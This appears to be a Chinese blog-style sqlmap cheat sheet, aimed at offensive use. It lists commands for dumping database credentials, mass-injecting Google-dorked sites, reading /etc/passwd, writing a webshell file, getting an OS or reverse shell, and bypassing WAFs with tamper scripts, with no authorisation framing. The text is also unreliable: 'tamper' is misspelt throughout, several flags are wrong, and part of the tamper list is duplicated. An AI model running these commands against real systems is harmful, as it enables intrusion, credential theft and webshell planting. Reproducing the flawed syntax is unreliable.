正所谓Sqlmap玩得6,jianyu等你救
00x00 Sqlmap介绍
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的url的SQL注入漏洞内置很多绕过插件,支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
sqlmap支持五种不同的注入模式:
基于布尔的盲注,即可以根据返回页面判断条件真假的注入; 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断; 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中; 联合查询注入,可以使用union的情况下的注入; 堆查询注入,可以同时执行多条语句的执行时的注入。
官方下载地址:http://sqlmap.org
00x01 SQLmap创建桌面快捷方式
桌面右键创建一个cmd快捷方式重新命名为SQLmap.exe,,点击属性模块,把起始位置改为SQLmap的绝对路径
运行程序,可通过--help获取参数帮助
00x02 Sqlmap入门参数
-p:指定测试参数,如sqlmap -u 192.168.0.1/?id=1 -pid
--dbms=mysql /oracle/ mssql:指定数据库
--delay 1:延时1秒进行注入(延迟注入)
-b: 获取banner
-g:批量从谷歌获取url进行批量注入 -g "inurl:jsp?id="
-r读取post包判断注入点 sqlmap -r C:/post.txt
-u 判断是否存在注入点 sqlmap -u 192.168.0.1/?id=1
--dbs 查询当前用户下的所有数据库 sqlmap -u 192.168.0.1/?id=1 --dbs
-tables 获取数据库中的表名 sqlmap -u 192.168.0.1/?id=1 -D sjk --tables
--colums 获取表名中的字段名 sqlmap -u 192.168.0.1/?id=1 -D sjk -T biao --colums
--dump获取字段的内容 sqlmap -u 192.168.0.1/?id=1 -D sjk -T biao -C user pass --dump
00x03 Sqlmap进阶参数
--level5:探测等级1-5级,会自动跑cookie,XFF等参数注入,一般推荐3级。
--is-dba:判断是否为dba权限
--sql-shell:直接运行sql语句
--os-cme/--os-shell:操作系统命令
--file-read:从数据库服务器中读取文件 --file-read="/etc/password"
--file-write: 写入操作 --sql-query="select "一句话" --file-write="ma.php"
--file-dest:写入绝对路径
---roles:列出数据库管理员
--union-check:是否支持union注入
--union-cols:union 查询表记录
--union-test:union语句测试
--union-use:采用union 注入
--proxy:添加代理 --proxy=127.0.0.1:1080
---threads:多线程
--user-agent:自定义user-agent
--referer=REFERER:HTTP referer头
--eval=EVALCODE:所使用HTTP参数污染
--hostname:主机名
--schema:枚举DBMS模式
--count:检索所有条目数
--search:搜索列,表或数据库名称
--reg-read: 阅读一个Windows注册表项值
--reg-add:增加一个Windows注册表项值数据
--reg-del:删除一个Windows注册表项值数据
--reg-key=REGKEY:Windows注册表键
--reg-value=REGVAL: Windows注册表键值
-- reg-data=REGDATA:Windows注册表的键值项数据
--reg-type=REGTYPE:Windows注册表键的值类型
--hex:使用十六进制数据检索功能
--output-dir=ODIR :自定义输出的目录路径
--check-waf:启发式检查WAF / IPS / IDS保护
--os-pwn:反弹shell
--random-agent:使用随机选定的User-Agent头
00x04 Tamper脚本使用
利用tamper脚本来绕过WAF
tapmer=0x2char 将每个编码后的字符转换为等价表达 tapmer=apostrophemask 单引号替换为Utf8字符 tapmer=apostrophenullencode 替换双引号为%00%27 tapmer=appendnullbyte 有效代码后添加%00 tapmer=base64encode 使用base64编码 tapmer=between 比较符替换为between tapmer=bluecoat 空格替换为随机空白字符,等号替换为like tapmer=chardoubleencode 双url编码 tapmer=charencode 将url编码 tapmer= tapmer=0x2char 将每个编码后的字符转换为等价表达 tapmer=apostrophemask 单引号替换为Utf8字符 tapmer=apostrophenullencode 替换双引号为%00%27 tapmer=appendnullbyte 有效代码后添加%00 tapmer=base64encode 使用base64编码 tapmer=between 比较符替换为between tapmer=bluecoat 空格替换为随机空白字符,等号替换为like tapmer=chardoubleencode 双url编码 tapmer=charencode 将url编码 tapmer=charunicodeencode 使用unicode编码 tapmer=charunicodeescape 以指定的payload反向编码未编码的字符 tapmer=commalesslimit 改变limit语句的写法 tapmer=commalessmid 改变mid语句的写法 tapmer=commentbeforeparentheses 在括号前加内联注释 tapmer=concat2concatws 替换CONCAT为CONCAT_WS tapmer=equaltolike 等号替换为like tapmer=escapequotes 双引号替换为\\\\ tapmer=greatest 大于号替换为greatest tapmer=halfversionedmorekeywords 在每个关键字前加注释 tapmer=htmlencode html编码所有非字母和数字的字符 tapmer=ifnull2casewhenisnull 改变ifnull语句的写法 tapmer=ifnull2ifisnull 替换ifnull为if(isnull(A)) tapmer=informationschemacomment 标示符后添加注释 tapmer=least 替换大于号为least tapmer=lowercase 全部替换为小写值 tapmer=modsecurityversioned 空格替换为查询版本的注释 tapmer=modsecurityzeroversioned 添加完整的查询版本的注释 tapmer=multiplespaces 添加多个空格 tapmer=nonrecursivereplacement 替换预定义的关键字 tapmer=overlongutf8 将所有字符转义为utf8 tapmer=overlongutf8more 以指定的payload转换所有字符 tapmer=percentage 每个字符前添加% tapmer=plus2concat 将加号替换为concat函数 tapmer=plus2fnconcat 将加号替换为ODBC函数{fn CONCAT()} tapmer=randomcase 字符大小写随机替换 tapmer=randomcomments /**/分割关键字 tapmer=securesphere 添加某字符串 tapmer=sp_password 追加sp_password字符串 tapmer=space2comment 空格替换为/**/ tapmer=space2dash 空格替换为–加随机字符 tapmer=space2hash 空格替换为#加随机字符 tapmer=space2morecomment 空格替换为/**_**/ tapmer=space2morehash 空格替换为#加随机字符及换行符 tapmer=space2mssqlblank 空格替换为其他空符号 tapmer=space2mssqlhash 空格替换为%23%0A tapmer=space2mysqlblank 空格替换为其他空白符号 tapmer=space2mysqldash 空格替换为–%0A tapmer=space2plus 空格替换为加号 tapmer=space2randomblank 空格替换为备选字符集中的随机字符 tapmer=symboliclogical AND和OR替换为&&和|| tapmer=unionalltounion union all select替换为union select tapmer=unmagicquotes 宽字符绕过GPC tapmer=uppercase 全部替换为大写值 tapmer=varnish 添加HTTP头 tapmer=versionedkeywords 用注释封装每个非函数的关键字 tapmer=versionedmorekeywords 使用注释绕过 tapmer=xforwardedfor 添加伪造的HTTP头
更多sqlmap用法:https://github.com/sqlmapproject/sqlmap/wiki/Usage